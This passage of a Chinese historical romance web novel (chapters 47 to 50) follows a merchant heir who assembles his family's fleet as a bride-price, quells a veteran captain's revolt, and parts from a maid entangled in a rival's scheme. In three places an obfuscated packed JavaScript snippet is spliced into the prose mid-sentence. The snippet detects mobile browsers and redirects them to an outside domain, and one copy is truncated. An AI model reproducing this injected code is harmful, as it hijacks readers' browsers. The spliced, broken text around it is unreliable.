微凉的指尖在女子俏丽的鼻头轻触，她条件反射地撇开脸颊。不设防的，唇瓣掠过杜淮琤的手指。电光火石一般，指尖传来酥麻的触感。那两瓣嫣红的嘴唇绵软馨香，散发着芬芳的诱惑。手指轻柔地描摹唇的形状，他曾经攫取过那里，知道她的香甜美好，却不愿再趁人之危，遏制住吻下去的冲动，决然离开。 许是好久没踏上过陆地，刘梨这一觉睡了好久，醒来已是天光大亮。 听见房里有动静，一个总角小妮儿敲门进来。“姐姐醒啦，我来给你送水。”刘梨忙接过冒着热气的铜盆，“我自己来就好了，谢谢你。” “我叫江儿，陈掌柜是我爹爹。”小姑娘年岁不大，口齿伶俐得很，“爹爹说厨房有醒酒汤，让我等姐姐醒了端给姐姐喝。” 刘梨立刻害臊起来，记不得昨夜是怎么回来的，连陈掌柜都备了醒酒汤，想必昨晚很是狼狈。“不用了，我没事。江儿，昨天和我一起来的人呢？” “你说东家吗？东家一早去码头了，他出门前说今日事多，姐姐不必跟着伺候，让江儿陪姐姐呢。” “启禀二爷，刚得的消息，东路五道、南路五道的漕运船队正往瓜洲驶来，不会儿就能到了。” “江老大，叫你的手下打起精神来，咱们去迎一迎。”船工们得了令，精神抖擞地将船驶离港口，与其他船队会合。 船帆映着阳光，分外耀眼。杜淮琤屹立船头，白衣翩跹，江风掀起他的斗篷，自有睥睨天下的豪情万丈。 正是秋高气爽时节，船队所有人都沉浸在即将会师的喜悦之中。这是杜家三十年来首次同时集结如此规模的船队，所有商船汇聚一处，那场景，光是想着就让人心血澎湃！ 水流渐缓，驶入一片宽阔水域。 “船！船！咱们的船队！”不知谁率先喊起来。 果然，江面上停了近百艘商船。鳞次栉比，在江面连成一大片，俨然一座水上城池。同样的白帆和旗幡，百来幅“杜”字旗几乎遮盖住整片天空。 对方看到杜淮琤的主船，顿时沸腾起来，呼喊声响彻江岸，如同千军万马奔驰呐喊。两艘大船几乎同时放下小艇，朝主船急速驶来。 “属下岳暮蝉见过二爷！” “属下郑临风见过东家！” 两个汉子一齐拜在杜淮琤身前。杜淮琤一左一右扶起两位属下，喜悦之情不以言表。岳暮蝉身量壮实，自有一股豪侠之气；郑临风，身量虽小却透着精明干练。两人望向年轻的少主，难掩满怀的崇敬。 “此番四方漕运齐聚瓜洲口，有劳诸位前辈不辞辛苦，远行至此，淮琤感激不尽。” “二爷不必客气，我等效力杜家，为东家分忧乃是分内的事。”郑临风道。 “是啊，杜家齐集一十八道舟楫航运，在各码头传得沸沸扬扬。我等身为杜家船队统领，对如此盛事也是万分期待啊。”岳暮蝉直言道。 “淮琤自领西路三道船队，加上岳统领东路五道和郑统领南路五道，已集齐十三道，只等北路何统领的五道聚齐，便可向金陵进发。”杜家商船大略分为东、西、南、北四方航运，四方下再细细分为一十八道，西路向来由家主亲自率领，其余各路由心腹之人掌管，历来皆是如此。 听到杜淮琤的话，岳郑二人忽然面露难色。“怎么？二位前辈有何难言之隐？不妨说予晚辈听听。” 二人对视一眼，性急的岳暮蝉先开口道：“实不相瞒，北路何亦武统领已先于我等到达瓜洲口，在前方水域停泊多日。” “哦？”何亦武是杜家的老将，从杜淮琤祖父那辈便效力于杜家，真可谓“三朝元老”，便是杜老太爷在世时也要敬他几分。 “只是何统领对二爷联姻之事颇有不满，命北路船队截断江面，使我等商船受困于此。” “何统领定是对我将一十八道航运拱手让人心生不满啊。”一十八道水路，上百艘商船，自然会有人舍不得。 “二爷！”岳暮蝉上前一步跪倒道，“其实不止何统领，在下也对东家此番决定……” “如何？”杜淮琤挑眉问道。 “百余艘商船白白送给他人，岳某……不服！” “岳统领直抒胸意，晚辈钦佩。只是我心意已决，统领如要相劝，只怕晚辈要让您失望了。” “可……”岳暮蝉还待相劝，被郑临风扯住，示意他另寻机会再谈此事。 “既然已近金陵城下，不妨修整几日再东进，免得我那未来老丈人笑话我心急，看低了我这毛脚女婿。” “谨遵二爷吩咐。” “淮琤晚间在城里略备薄席，还请三位统领赏光。至于何老前辈，还劳二位统领亲自去请才是。” “属下明白。”二人就此别过，各自回船。 “爷，看来东进金陵城没那么容易，还得闯过一关。”程锏道。 “这也是意料之中，杜家若没有人对我这份‘彩礼’提出异议，那才该头疼。不过目前开来，今天的晚宴才是最头疼的。” 何亦武？杜淮琤望向东方。 且待我会他一会。 瓜洲城里最好的天香楼，今晚二楼被包圆了。所有雅间的门窗被打开，灯烛高挂却寂静无声。中间最大的厅里，金盘玉碗盛仙馔，临窗的罗汉床上，杜淮琤一人对着盘残棋。程锏侍立在旁，面色冷峻。 “杜家小儿安在？你何爷爷在此，还不速速相迎！”厅外一阵咆哮，原是何亦武到了。 “晚辈见过前辈，杜淮琤这厢有礼了。”杜淮琤躬身一个大礼。 何亦武看也不看他一眼，径自踱进厅内，大咧咧在主位坐了。岳郑二人随后，一脸讪讪。 “你是该叫我一声‘前辈’，想我于你爷爷那辈就帮杜家跑船，侍奉杜家三代，从未见过将如此庞大船队白白送人的主儿。小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021173|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子糊涂！” 何亦武话说的冲，杜淮琤浑不在意在下首坐了，亲自为三位统领斟酒。岳郑二人多有惶恐，只何亦武一人不客气地受了，仰脖灌下一杯酒，瞪向杜淮琤。 这何亦武一把茂盛的花白胡须，双眼大如铜铃。已近耳顺之年，声音仍旧大如洪钟。满脸的沧桑俱是常年跑船，岁月雕砌的成果。 “前辈为我杜家奔波多年，功勋卓著，淮琤感激不尽，在此敬前辈一杯。” “哼！我何某受不起！你这杯酒何不到杜家宗祠前敬去，让杜家列位先祖瞧瞧你这败家的逆子！” “不得无礼！”程锏怒道。 “你是这小子身边的程锏？素闻程锏侠义之名，可惜不过一介莽夫，纵着主子做那蠢钝之事。” “呵呵，前辈于我有嫌隙，何必牵扯他人？一切都是淮琤一人的主意。”杜淮琤笑道。 “还算你敢担当。我且问你，自三十年前白水百船齐聚后，何事再将一十八道舟楫航运纠集于此？”何亦武发问道。 “前辈应该有所耳闻，晚辈与江南曲家结姻，将一十八道舟楫航运作了聘礼，故……” “混账！老太爷，您可听见了，您的不肖子孙就要败了您辛苦积下的家业啊。”何亦武仰天长叹，神情极其悲愤。 “何统领何出此言？曲家乃江南大家，晚辈与曲小姐结成秦晋之好，于杜家有百利而无一害。” “百利？你可知这一十八道航运值多少钱，费得多少心血？你这见色忘义的小子，为了一个女人蒙蔽心智，出卖祖宗！” “何统领不得犯上！”岳暮蝉劝道。 “二爷息怒，何统领怕是喝多了酒，请二爷不要怪罪于他。”郑临风开脱道。 “我没醉！难道你二人心中不也是这般想法？这小子不单是送给人家百余艘货船，也是把你我这些老骨头以及几百个弟兄送给他人，就为了娶一个婆娘！” 这番话在众人心里掀起千层浪，岳郑二人痛苦地看向杜淮琤。何亦武的话丝毫不错，杜淮琤送给曲家的不仅仅是船只，连同他们这些为杜家效命的船员也一并归入曲家，像货物一样的被转手，大家心有不甘。 杜淮琤老神在在地抿口酒，开口道：“其实晚辈今夜邀诸位至此，正是要商议此事。淮琤深知诸位所虑，不愿强人所难，凡不愿归顺曲家者即刻便可自行回家，杜某更会赠予丰厚置业银钱，大家颐养天年绰绰有余。” “你这是要打发我们滚蛋？”何亦武没料到他竟直接赶人，不可置信地瞪圆了眼。 “唉，老前辈何出此言？杜某也是一片好心。若有那不想受江湖颠簸之苦的，正好趁此良机回家与妻儿相聚、共享天伦，岂不美哉？不要担心船上没人用，我已相看了一批人，都是走船的好把式，立刻就能登船上手。” “何某在船上待了一辈子，死也要死在船上！要我走人？休想！” “外面哪艘船上挂的旗号不是‘杜’字？何统领既然舍不得离船，恐怕还得听二爷号令才是。何况，船队几百个兄弟的饭碗也是轻易丢不得的，这个帐我想各位比程锏这个‘莽夫’算的明白。” 何亦武自己这把老骨头是豁得出去，可要是波及其他弟兄他万万不愿。几百名兄弟的饭碗不是用来赌气的，跑船常年需漂泊在外，虽环境恶劣、条件艰苦，好在杜家给的报酬丰厚，船工们家里全指着这份生计，他没料到杜淮琤会以此来做要挟，气焰顿时低了下去。这个年轻人行事狠辣，他不怀疑杜淮琤下不了手。这番交锋何亦武已经别无选择，老者仿佛一下泄了气，揖首向杜淮琤拜道：“老奴……听凭二爷差遣。” “属下听凭二爷差遣。”整齐的叩拜声。 上首的男子看向座下俯首的各位统领，神色傲岸。 48. 四十八 雁影分飞 岳暮蝉这两日总觉得身上不自在，那痒痒会转移似的，刚挠好腮帮，耳后又有痒意，痒痒成了精一样，这边刚安抚好又转到后背去。他本就生得壮实，左右臂上下互抡，就是挠不到可心处，只得眼巴巴求助屋里的郑临风。 “老郑。” 他一开口，郑临风立刻端着茶杯蹦开。“你别过来，我怕你有虱子！” 岳暮蝉白他一眼，自走到另一边，背抵着门框蹭痒，跟黑熊蹭树一个模样。“俺身上可没虱子。就是、就是浑身哪哪都不得劲。” “你那是贱骨头痒了，好不容易上了岸，消停不住。”郑临风呷了一口茶，面露陶醉。 岳暮蝉恍然大悟，“还真是，老觉得脚底下硬邦邦，脑袋晕乎乎的。在船上待久了，冷不丁上了岸还真不习惯。” 郑临风没搭理他，老岳凑近前道：“要不咱禀了二爷，回船上去吧。何统领不也在自个儿船上猫着吗？” “要去你自个去，我难得上岸品品好茶。”把茶盏里的茶分两口喝了，叹道：“瓜洲不愧南北扼要之地，山南海北，哪里的好茶都有。” 岳暮蝉还在蹭他那个痒，“你说咱们还得在这儿停多久？不是说船队集齐了就往金陵去么？二爷怎么还不动身？” 老郑捧着空杯嗅茶香，“急什么，没见二爷带着小丫鬟逛园子吗？男人成了家屋里有婆娘管着，趁这当口自在一会是一会。” 岳暮蝉回想杜二爷和小丫鬟相处的情形，有心八卦，又怕老郑说他闲磨牙，悻悻忍住口，蹭痒的力道又大了几分，直晃得门框吱呀乱叫。 刘梨的心里也在吱呀乱叫。这几日杜淮琤总拉着她满城转悠，瓜洲有名的花园子逛了个遍，城里的酒楼轮个吃了一巡，每次满满当当按菜谱点足一本，赏钱也给得阔气，十足的纨绔模样，不消几日瓜洲百姓都知道城里来了个大财主，穷奢极侈，挥金如土。杜淮琤瓜洲逛够了嚷嚷着要进扬州城，又喊着坐船到江对岸的西津渡去，刘梨心里有事，好歹劝住，仍架不住他三请四邀往城中各大铺子里去逛。 这会杜纨绔正拿着个镯子往刘梨腕上套，藕白的腕子套了两三只镯子，虾米须的、錾花的，还有一只莹润的白玉条镯。杜淮琤擎着她的手，“还是太瘦了，戴上去空荡荡的，不如按梨丫头的尺寸定做一副来，怎么都比那双雁金镯好看。”银楼的掌柜在一旁连声附和，赶紧给学徒使眼色拿花样图稿来。 刘梨挣开他的钳制，捋下镯子放回去，“婢子戴不得这样的好东西，二爷请自便，我在外头等您。”说完不等他回应就跑了出去。 杜淮琤脸色冷下来，盯着托盘里的镯子沉思不语。掌柜的捧着图稿，心想这单生意是做不成了，脸上挂了苦相。 “赏。” 手上一沉，也不见那侍卫如何动作，手上便多了个银锞子。掌柜的喜笑颜开，抬头言谢，主仆二人早已离开。 杜家酒舍后面有个单辟的院子，一条小巷将其与前院隔开，有独立的院门进出，粉墙黛瓦、花木扶疏，颇有大隐于市的意味。滞留瓜洲期间，杜淮琤一行便住在这里。 在此地已经逗留好几日，刘梨分明记得子骥说会在瓜洲与他们会合，这么久没有消息，她隐隐有些担心。这阵子杜淮琤举止有异，让刘梨更觉得不安。徽吉遇险，马车里缱绻一吻只当是个意外，二人都不再谈起，各自皆有婚约，主仆间更应有分寸才是。然而杜淮琤最近的举动，多少有些意味不明的僭越了。 刘梨不便说什么，只有刻意避开他，暗忖再忍耐些时日等子骥带她离开，左盼右盼不见子骥行踪，心内焦灼。 院门响动，脚步声一路通向主屋。 “人哪去了！茶都没有！” 刘梨赶紧端起茶盘，往主屋去。 杜淮琤看她低头进来，心里又涌起邪火。不识好歹的丫头，送她两件首饰不要，前些日子新做的衣裳也不穿，见天清汤挂面的装束，心里想嘴上就说了出来：“取镜子照照，也不知道打扮打扮，出门去还当杜家苛待下人，白白丢了爷的体面。” 刘梨故意忽略他口中“下人”的字眼，奉了茶就要退下。 “站住，让你走了吗？” 止住脚，眼观鼻鼻观心不作回应。 杜淮琤看她的样子，心里窝火，更多的是气自己，明明是怜惜她，说出口的话却讨人嫌。把她留下来也不知道说什么。二人相顾无言，屋里针落可闻。 “二爷莫动怒，左右再担待几日，等子骥领了奴去，自然不会在您跟前碍眼了。” “砰！”刚端起的茶杯重重落下，手上青筋暴起，缓了缓，又松开。 刘梨一不做二不休，既然开了口索性问个清楚。“出发前原是约好的，说在瓜洲会合，怎么多日过去还不见子骥踪影？不知二爷可有他消息？” 杜淮琤已平复下来，“你就那么急着嫁他？” 刘梨面色绯红，迎着他的目光答道：“是。”男人怔忪一下，又听她道，“我与子骥两情相悦，家中长辈对这门亲事也是乐见其成。刘梨名字不好，流离半生，想有个家了。” 她说，想有个家。 杜淮琤看清她眼中的寥落，忽然就慌了神。他自认样样比伍子骥好，偏偏不能给她个“家”。家不是高堂素壁，不是锦衣玉食，不能与她结发共髻，不能允她元妻之位，便不算是个“家”——她这样的女子，本不该困囿在宅门里耗尽灵气。 他笑了笑，好半天才找到个蹩脚的借口，“跟他走了，分红怎么给你？” “酿制新酒奴婢本没出什么力，都是二爷的巧思，说什么分红拿着也是受之有愧，收不得的。” 杜淮琤良久没有回话，刘梨抬头看他，一向心高气傲的人忽而带有委顿之色，忙又低了头。 “呵，你在我面前常爱低头。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021174|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 刘梨动了动脖子，避开他的目光。 “既如此……”他高声唤进程锏，“你同她说。” 程锏目光在两人之间逡巡一番，低低道了声“是”。 刘梨不明所以。“前日有人送来封信，乃……伍子骥手书。”说到这儿杜淮琤起身，踱到书架边，信手拈起一本书。见二爷不言语，程锏继续道：“言说他已向大奶奶求了恩典赎回姑娘身契，待回白水再至官府办理移籍入户事宜。伍子骥信中说有事耽搁不得亲临，若是刘梨姑娘自己想……想离开，便去城中‘大成号’，自有人照应姑娘。” “我并非故意隐瞒，信里说了，是你‘自己想离开’，才告诉你。”杜淮琤仍背着身，“本来还想带你去‘沉箱亭’看看，你既已做好决定，收拾东西随程锏去吧。” 刘梨拧紧衣角，日思夜盼赎身离去，此刻心愿得成，惊喜里还夹着莫名的情绪。程锏看她身体微颤，不能自处，仿佛使了很大的毅力才平复下来。只见她慢慢矮下去，郑重朝杜淮琤行了大礼。 杜淮琤捏着书，一个字没看进去。身后窸窣声响，不知过了多久安静下来。秋阳斜斜从窗牗照进来，虽明亮，已渐失了温度，白白晃了眼睛，感受不到一丝温暖。不知哪里传来几声秋虫低鸣，杜淮琤还有心思想到：你蹦跶不了几天了。 手里的书越来越重，他垂下手，任那册子滑落在地。雁影掠过西窗，他终于转过身来。 屋里只剩他，一眼就看见书案上的兽首印纽。那是送她的信物，他说过用这个可赏她一个恩典。特特留下此物，是不想再与他有瓜葛了。莹润的玉石仿佛还带着暖香，杜淮琤将它紧紧攥住，又好像什么从指缝流淌而去了。 大成号是城中一家南北货铺子，门脸不大不小，在城南街头并不起眼。程锏和刘梨进了店，立刻有人上前相迎。掌柜看了看二人，拱手道：“可是刘梨姑娘？” “是我。” “小人已等候姑娘多日，请入后堂宽坐，自有人妥善安置姑娘。”向后一指，湘妃竹的帘子挡住后堂看不真切。刘梨携包袱往后去，程锏被掌柜拦下，客客气气道：“后堂是内宅，客且止步。” 刘梨回身便明白过来，朝程锏施了礼，“一向受程大哥照应，刘梨在此谢过。祝程大哥往后诸事顺遂，平安康乐。” 程锏本来话就不多，难得多说了两句，“就此别过，愿你善自珍重。”默了默，又道，“但愿一切都值得。”刘梨听他话里另有深意，想再问，程锏已别过。 惴惴进了内堂，里间陈设室雅兰香，与外间大有不同。刘梨在末位坐了，也不知伍子骥托了谁接应，贸贸然离开，多少有些仓促。可今日情形她不得不走，纷扰的情绪快刀斩断，图个清静痛快。她不想做个优游不断的人，凡事总得朝前看才是正途。思虑间，一串熟悉的笑声由远及近，刘梨起身看清来人。 “是你？” 49. 四十九 金陵城下 珠帘微响，眼前映出张芙蓉脸，粉面含春，眉飞入鬓，一双凤眼微挑，正定定打量她。刘梨不期然此时此地这人会出现，慌乱垂下头去，再抬起，神色已镇定下来。太多信息在脑中炸开，她有无数的疑问，好多片段迷迷蒙蒙似要衔接起来，却又不敢置信，只有逼自己冷静下来静观其变。 女人看她神情变化，眼中透出笑意，挨着刘梨坐了，开门见山道：“可有什么想问的，尽管说来。” “夫人。”身旁的正是于瓜洲渡有过一面之缘的九鹿儿，因为这张脸酷似依菲姐，刘梨记得分外真切。 “可别叫我夫人，家里头都唤我作‘九姨’，你也跟着叫我九姨好了。”说着握住刘梨的手，毫不掩饰地上下打量。 刘梨被她看得看得发毛，“想不到九姨也经营南北货的生意，在男人堆里打拼，九姨不愧为巾帼豪杰。” “呵呵呵”，九姨掩嘴笑得花枝乱颤，“哪当得什么巾帼豪杰，不过是仗着我家家主，狐假虎威罢了。” 压抑住心底的叫嚣，“你陆家家主怎的假借伍子骥名号，将我诓骗至此？”刘梨突然发问。 九鹿儿好像听到个笑话，“什么‘陆’家、‘伍’家，差一个数的区别，还不是一家人么？” 刘梨不可置信地瞪大眼，心底的猜疑一一扩散，千头万绪不知从哪里剖析。 “你也别费神乱想了，外面的事轮不到咱娘儿们操心。”她拍拍刘梨手，不得不承认这姑娘生的是好。“子骥真真心悦于你，早在我跟前说过要娶你过门，若不是……也不会这当口把你接过来。”见刘梨目光凝滞，又叹道：“唉，也怪我，你们刚进瓜洲就迫不及待请了你来，让姓杜的起了疑心。是我想瞧瞧那小子心心念念的人是怎个模样？那人你也知道，常年一张笑面孔，叫人猜不着心意，能乱他心的人，我实在好奇。” 刘梨不答话，什么杜家、陆家、子骥、瓜洲……在脑子里乱成一团，她好像陷在一张网里，左冲右突挣脱不得，不知怎生是好。 “姑娘别兀自乱想，详情由他本人当面跟你细说。我已经叫人另外收拾了一处敞亮院子，姑娘即刻就住过去。或是在瓜洲住着，或是去金陵，他说了，全由你心意。” “我要去金陵！”刘梨答得毫不迟疑。 “好”，九姨顾自欣赏着指上蔻丹，对她的回答并不意外。“不过要等上三日，三日后有船去金陵，到时候安排你上船。” “不！等不了三日，越快越好！”刘梨站起身，一脸焦急。 九姨眼神凉凉扫过她，到底是小姑娘，这么沉不住气。从容起身，比刘梨高出一掌，“最快后天早上有车去金陵，不过是陆路，会有些颠簸。” “好，就定在后天，我要尽快见到伍子骥。” 九姨笑笑，唤进一个仆佣，“带姑娘去院子住着，好好看顾，后日拂晓随车入金陵。” 刘梨收起纷乱心绪，转身出门去。按捺下心中忧愁，那张无形的网透着森冷寒气，压得她几乎喘不过气。她觉得自己像个身不由己的黄雀，明知前路叵测，仍只得往陷阱里闯一闯。 身后的女人隐去笑意，指甲嵌进肉里。她何尝不想让这个丫头无声消失，如果不是自己心急大意，被那位知晓了，断不是现在这样的安排。 那人训斥自己的狠厉模样现在想起都后怕。她没见过那样的他，不，是想不到有天他会对自己发狠。那么冷清冷意的一个人，突然对另一个人上了心，独独待她不同，叫九鹿儿怎不生恨？ 拂晓，瓜洲城还未甦醒，一行马队急匆匆出了城去。 金陵。 龙江关上旗幡招展，与江面百来艘漕船的风帆遥相辉映。城内百姓早得到白水杜家船至城下的消息，携老挈幼聚到江边观摩这一盛景。 阅江楼上，耆老乡贤簇拥一人，恭维声不绝，但听得有人道：“恭喜曲公，贺喜曲公，得此船队，大庥商贾从此无有能与曲家抗衡者。” “署令过赞，曲某能有今日全赖皇恩庇佑和各位上官的提携，往后还得劳烦诸位大人多多照顾才是，曲某自当投桃报李感激不尽。”曲西阜挺着肚腩，假意揖下去。对面忙扶住了，他是河渠署的令丞，虽是官身，可作为江南豪绅的曲西阜在金陵盘踞多年，与各衙门关系匪浅，没有哪道门里的老爷愿和财神爷作对，是故待曲老爷多有些体面。两人话里打着机锋，面上俱是谦和得体。今儿个曲西阜来接准女婿，他代表河渠署来捧场，私心也想见识见识杜家那一十八道舟楫船队。此刻眼见赫赫扬扬的江帆飘摇，确实令人眼热得紧。 金陵位处江南，乃大庥最富庶繁华之地。阅江楼建于江边龙头渚上，太祖南巡曾登临此楼，望大江东去感慨良多，留《江赋》一篇，被后人刻石竖碑立在望江楼畔。 杜淮琤于船头遥望阅江楼，神情莫测。 “二爷，你看。” 只见魏先良并一人候在码头上，不是伍子骥是谁？白衣秀士，温文儒雅，好一副端方君子的模样。 杜淮琤步下船，热络道：“子骥叫我好等，说好在瓜洲会合，你却迟迟不来，害我在瓜洲白白盘桓几日。” “属下失职，实在是琐事繁冗，这两日才将二爷在金陵的居所整饬完毕，若有不足之处，待二爷查验后再一一弥补。” “不过住上几天，按我说，就在咱们酒舍收拾几间屋子安置罢了，往常不都是这样过来的么。” 旁的人听完都露出窘色，只伍子骥道：“二爷婚姻大事，虽说咱们府邸不在金陵，也不能匆促了事，凭的委屈了曲小姐。”又向魏先良道：“咱府里没有长辈操持，若有风俗相异或考虑不周的地方，还请魏总管直言。” 魏先良哪有多话，直说不敢，打岔道曲老爷携众等候多时，已在阅江楼设下接风宴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021175|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，请众人移步前往。 魏先良在前引路，杜淮琤稍稍慢两步，状似无意同子骥说：“人留在瓜洲了，你不想她掺和进金陵这些子事，也好。” 子骥嘴角翘了翘，“拙荆心窍伶俐，是个聪明姑娘，只是心思重，容易想的多，不掺和进来对她好。” “拙荆？”杜淮琤眯了眯眼，“这就叫上了？” 伍子骥回答得坦然，“左不过这一两月的事情，和二爷前后脚成亲。”他转过脸正视杜淮琤，“早早娶回来我好安心。” 杜淮琤笑得眯了眼，点头不语，转身上了抬辇。 曲西阜体胖怕热，不知擦了几回汗，终于看到阶下来了人。杜淮琤舍了抬辇，拾级而上。阅江楼前站着那么多显贵，识得当中一人应是曲西阜，遥遥拜倒：“小婿杜淮琤拜过岳父大人！” 曲西阜见年轻人生得龙姿凤章，果然一表人才，心里益发喜悦，顾不得骄矜拿乔，赶忙扶起：“快快请起，一路舟车劳顿，贤婿辛苦了。” 身边即刻有从属拍马道：“杜公子惊才风逸、卓尔不群，曲公得此东床快婿，着实羡煞我等啊！” “如此儿郎，才堪作曲小姐良配，实乃天造地设的佳偶！” 曲西阜欢喜地见牙不见眼，招呼众人入席落座。 酒过三巡菜过五味，话题落到那一十八道舟楫航运上。“我等沿江住着，如此庞大的船队齐聚于此，实属罕见。今日亏得曲公、杜公子，才得以一饱眼福，甚幸、甚幸！”众人附和。 只那署令开口道：“下官在河渠署当职多年，若说这般场面的船队，以前倒是见过。” “哦？竟还有和今日规模相当的船队？吴大人不妨说给大伙听听。” 吴署令倒不着急，慢慢饮茶润过口，重又开口道：“当年那支船队，可巧也是杜家所有。三十年前那场洪灾，在座上春秋的应该都还记得，洪水使我大庥境内生灵涂炭、饿殍遍野。彼时下官恰供职北地郡，洪灾发生后杜家太爷急召全境一十八道水路百余艘商船，运送粮食、救助灾民。杜家义举，天下人谁不赞叹？” “是了，听闻圣上感念杜家善举，特赐一份榷酒令，天下独一份的恩典！”一番话说得众人称叹不已，曲西阜与有荣焉，脸上更添了几分得色。 “列位谬赞，身为大庥子民，不忍见同胞受难，能为朝廷分忧，是杜家的荣幸。” “贤婿不必过谦，老太爷侠义千秋，为我等典范。我提议大伙共同举杯，祝大庥基业永固，万年长青！”众人纷纷起身，举杯共祝。 一时宾主尽欢，推杯换盏至未时方歇。 须臾席散，曲西阜大半个人挂在魏先良身上，不住地絮叨，他倒还记得邀杜淮琤过府，言说改日下帖来赴家宴，杜淮琤倚着程锏满口应下。 各家车马渐次离开，杜淮琤被扶上自家马车，车帘落下，眼底一片澄明。 50. 五十 烟霏云敛 牌楼巷的院落里一扇门吱呀打开，外头递进一个竹筐，门复合上。 刘梨睨了一眼，失望地关上窗。老哑奴瞥了眼紧闭的窗扉，将竹筐背进小厨房。 前天下晌进了金陵，刘梨颠得一身骨头几乎散架，不待修整便向带她来的车队首领询问伍子骥下落。那人一径摇头，只说九姨命他将人送到此处，别的一概不晓得。这院里只一个老哑奴，不能说话，但是听的明白，问他什么也会比划两下，然而提到伍子骥就连连摆手，刘梨见打探不到消息，只得先住下。好在小院收拾的挺利索，每日还有人送新鲜瓜菜来，不过一旦她靠近院门，那老哑奴就会突然出现，嘴里“啊、啊”叫唤，不让她前进半步。 刘梨在牌楼巷煎熬的时候，九鹿儿的船也到了金陵。秦淮河畔，桃叶渡旁，贡院的书声琅琅仿佛令得陆家的美酒也多了一缕墨香。 九鹿儿轻倚二楼轩窗，纤长手指染着蔻丹，一柄湘妃扇在秋风里扇起氤氲热气。几个学子从楼下经过，那扇子摇得愈发婀娜，膀臂舒展，手腕流波般游动，整个人宛如吐纳信子的美女蛇。终于，几个年轻人发现了她，目露惊喜呆立楼下。 身后的门猛被推开，九鹿儿一惊，险些把扇子丢了。来人放下兜帽，露出一张清俊的脸庞。 “你还有胆来？” 九鹿儿以扇掩面，娇笑道：“奴不是将功补过，把人送来了么？这会子好端端地在老宅住着，由康伯照应着呢。”说话间坐到他身旁，拿扇子微微地扇动，只那风并不能缓解躁郁，带着浓重的脂粉味，反倒让来人皱起眉头。 “我让你把她留在瓜洲，为何又送来金陵？” “哎呀，冤煞我了！是主人你说，‘她去哪，全由她自己心意’，奴巴巴地把人带来，你又不高兴。”身子挨近，拿扇子朝他极力挥了几下，表达不满。 “吧嗒”一声轻响，好好的湘竹被折成两半。 “九姨～～娘，记住你的本分，别在我跟前耍小聪明，否则休怪我不念旧情！” 一声“九姨娘”让九鹿儿噗嗤笑了，心也冷了下来，捏着嗓子道：“子骥乖儿，你还让我恪守本分？你我之间，早就没有‘本分’，只剩下‘旧情’……”说话手已往他腰间摸去。 手上吃痛，男人狠狠扼住她腕子，那力道仿佛随时会把腕骨捏断。“你有不满冲我来，别涉及旁的人，更不要坏了我的大事。” 九姨挣不开他，又不肯告饶，恨恨道：“你还记得你的大事？一个黄毛丫头，怎么就让你改变计划，早早暴露了身份？” 伍子骥甩开她，眼里闪过一丝阴寒。“你真以为杜淮琤一路走走停停，是游山玩水来的？西岭酒坊的‘钩子’没了声息，徽吉那片酒作坊的收购也阻挠重重，人家怕是早注意到我了，只是暂时没有确凿的证据，大家维持面上的好看罢了。” 九姨正揉腕子，闻言忙道：“那怎么办？现下他可有什么动作？” 伍子骥轻轻摇头，“曲西阜那儿够他忙阵子的，都水监也打了招呼，他暂时顾不上咱们，你只管稳住，按先前议好的行事。”唯一的变数，就是刘梨，她不在伍子骥的计划里，甚至不在他人生的计划里。她是他对自己的放纵，是他晦暗人生的星点安慰。 九姨也想到一处，“得看好那丫头。”转向他，语气里带了酸意，“你何时去安抚她？可别叫人姑娘闺房独守，给旁人钻了空子。”被子骥飞来一记眼刀，悻悻住口。 伍子骥明白，他还没做好见她的准备。不管在外头如何长袖善舞，面对刘梨，他希望能出由本心坦诚相待。再等等，再等等，等大事已定，等一切回归正途。 重戴好兜帽，伍子骥拉开门，刚才那几个学子已进了大堂，踮踵翘首朝二楼张望。心里冷笑，隐着身形从暗梯出去。 这天是黄道吉日。一早牌楼巷外就锣鼓喧嚣，直传到巷陌深处。刘梨在院里听见了，目光追随一对惊起的黄雀飞到天际消失不见，直到喧闹声飘远，还有些恍惚。 今儿是上门行纳征之礼的好日子。杜家的队伍绕了大半个金陵城，吹吹打打来到曲家门前。队伍里金银玉器、乘马束帛自不必说，最醒目的是四艘惟妙惟肖的船舶模型。 曲家大宅建在丹凤门，粉墙环护，甬路相衔。曲西阜这丈人倒实在，竟亲自迎在门口，见杜淮琤一行到来乐得合不拢嘴，看到四艘模型更是眼里放光。亏得魏先良提醒，先将众人请入府内。 